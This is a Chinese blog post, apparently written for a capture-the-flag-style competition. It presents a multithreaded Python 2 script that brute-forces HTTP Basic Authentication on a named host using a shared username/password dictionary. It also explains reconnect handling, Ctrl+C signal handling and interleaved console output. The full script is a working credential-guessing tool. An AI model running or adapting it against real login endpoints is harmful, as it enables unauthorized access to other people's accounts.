python 多线程服务器验证,实现断开重连,信号量解决主线程Ctrl+C不退出问题,多线程打印错行问题

最近在做一个比赛

有道题给了一个字典,user和pass都在字典中

服务器没有验证码

摆明了要用脚本跑username和password

顺便把以前想实现的给实现了。。

人生啊,不要拖拖拉拉



零、遇到的问题:

1、脚本跑着跑着就断线了,怎么重连呢?

2、主线程按Ctrl+C,不能退出

3、多线程打印错行,不能老实的一行一行地打印


一、脚本跑着跑着就断线了,怎么重连呢?

把多线程中的调用函数如def login()加一个try except,在except中重新调用login()即可

为了更加人性化,加入了两个标记变量i和j(也就是start_user和start_pass),标记从i和j处重新跑



二、主线程按Ctrl+C,不能退出

这个Ctrl+C比较棘手,参考文章:http://my.oschina.net/apoptosis/blog/125099

主要用信号量的方法,分6个小步骤来解决就好了:

1、

定义一个全局变量:is_exit = False

2、

定义一个处理变量的函数:

def handler(signum,frame):
    global is_exit
    is_exit = True
    tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
    sys.stdout.write(tstr)
3、

在main函数中注册信号捕捉函数:

    #修改is_exit信号,让子线程也能接受Ctrl+C
    #用函数signal注册一个信号捕捉函数,捕捉到后交给handle去处理
    signal.signal(signal.SIGINT,handler)
    signal.signal(signal.SIGTERM,handler)



4、

在子线程函数,本例子中是login(),添加处理信号变更的处理:

            #修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
            if is_exit:
                tstr = "thread"+str(index)+", receive a signal to exit...\n" 
                sys.stdout.write(tstr)
                return



 
5、

将子线程设置为后台运行

tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)

6、

修改tmpth.join()

为自定义的等待代码:

    #for i in range(th_num):
    #    ths[i].join()

    while True:
        alive = False
        for i in range(th_num):
            alive = alive or ths[i].isAlive()
        if not alive:
            break


实际上结果是良好的:



三、多线程打印错行,不能老实的一行一行地打印

错行的效果如下:


看到没有,都不能老老实实得在一行行来吗?
然后在CSDN发帖子询问,得知要用:
sys.stdout.write(str+'\n') 
代替:
print str
好吧,效果果然很不错,可以参照上上图(不是上图,我不是大舌头)

那么,为什么呢?

python shell 下help(print) ,它说print是输出到sys.stdout 中,也是调用write

一样的函数,不一样的效果,我怀疑是print没有维护一个buffer,而sys.stdout.write的时候有维护,导致了

前者竞争输出,后者有个缓冲区导致输出很规整。(以上纯属猜想,因为py文档英文也看不懂,网上也没有好资料,实验也不好做。。)


四、所有的代码

本来py就是强调精短,而我却弄这么多。。
好吧,难道我会告诉你其实如果不考虑:
多线程,print,Ctrl+C,重连
我的代码会很短吗?

# -*- coding: cp936 -*-
import urllib
import httplib
import base64
import threading
import sys,os,time,signal

#导入dic字典
f = open('youcanfindit.dic','r')
dic = []
while True:
    t = f.readline()
    if not t:
        break
    dic.append(t.strip('\n'))
f.close()


#只需要输入th线程数量,程序自动配置后每个线程的case数
#比如某些高富帅的线程可以设置为100,我的最高只能40,否则内存就不够用了。。
#这里强调,不是线程越多越快,线程多,只是说开始办事的人很多,每个人平摊下来任务少了,没说任务效率变快
#请考虑py的调度,每个时刻只有一个线程在运行,调度的时间大大增多,这是个综合考虑的问题
th_num = 10
dic_len = len(dic)
case_in_th_num = dic_len/th_num
case_in_last_th_num = dic_len - th_num * case_in_th_num

#响应Ctrl+C
is_exit = False
def handler(signum,frame):
    global is_exit
    is_exit = True
    tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
    sys.stdout.write(tstr)

#支持断线重连,start_user 和 start_pass 标记了user和pass重连的位置
def login(index,start_user,start_pass):
    global is_exit    

        
    if index == th_num-1:
        name = dic[case_in_th_num*index:case_in_th_num*index+case_in_last_th_num]
    else:
        name = dic[100*index:100*index+100]
    for i in range(start_user,len(name)):
        for j in range(len(dic)):
            #修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
            if is_exit:
                tstr = "thread"+str(index)+", receive a signal to exit...\n" 
                sys.stdout.write(tstr)
                return
    
            #记录断线的i(user)和j(pass),从i重新跑一遍,j依赖于i
            if i == start_user:
                if j < start_pass:
                    continue
                
            name_pass = base64.b64encode(name[i]+':'+dic[j])
            headers = {
            'Host': 'wocao.ismilent.com',
            'Connection': 'keep-alive',
            'Cache-Control':'max-age=0',
            'Authorization' : 'Basic '+name_pass,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
            'Accept-Encoding': 'gzip,deflate,sdch',
            'Accept-Language': 'zh-CN,zh;q=0.8'
            }
            try:
                conn = httplib.HTTPConnection('wocao.ismilent.com',80)
                conn.request('GET','',None,headers)
                res = conn.getresponse()
                tstr = str(index)+","+str(i)+":"+str(j)+"--"+name[i]+":"+dic[j]+"\n"
                sys.stdout.write(tstr)
                
                if res.reason != 'Unauthorized':
                    print res
                    out = open('out.txt','w')
                    out.write(name[i]+":"+dic[j])
                    out.close()
                    print name[i],dic[j],'!!!!!!!!!!!!!Success!!!Finished...!!!!!!!!!!!!!'
                    exit(-2)
            except:
                #断线重连,记录i,j
                #这里注意如果获取到了name和pass,那么会进去if res.reason != 'Unauthorized':中
                #然后弹出个框框问你是否要结束,如果点击否,会触发异常
                #进入这里的login,那么i,j又是原来的那个正确的user pass 又会问你是否退出,以下循环!
                #这不是bug!!!
                tstr = "reconnecting..."+str(i)+":"+str(j)+"\n"
                sys.stdout.write(tstr)
                #login(index,i,j)


 

if __name__ == '__main__':
    #修改is_exit信号,让子线程也能接受Ctrl+C
    signal.signal(signal.SIGINT,handler)
    signal.signal(signal.SIGTERM,handler)
    
    ths = []
    for i in range(th_num):
        print 'threading '+str(i)
        tmpth = threading.Thread(target = login,args=(i,0,0,))
        tmpth.setDaemon(True)
        ths.append(tmpth)
        tmpth.start()
    
    #for i in range(th_num):
    #    ths[i].join()

    while True:
        alive = False
        for i in range(th_num):
            alive = alive or ths[i].isAlive()
        if not alive:
            break
        
    print '!!!!!!!!!!Sorry,find nothing,finished!!!!!!!!!'


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值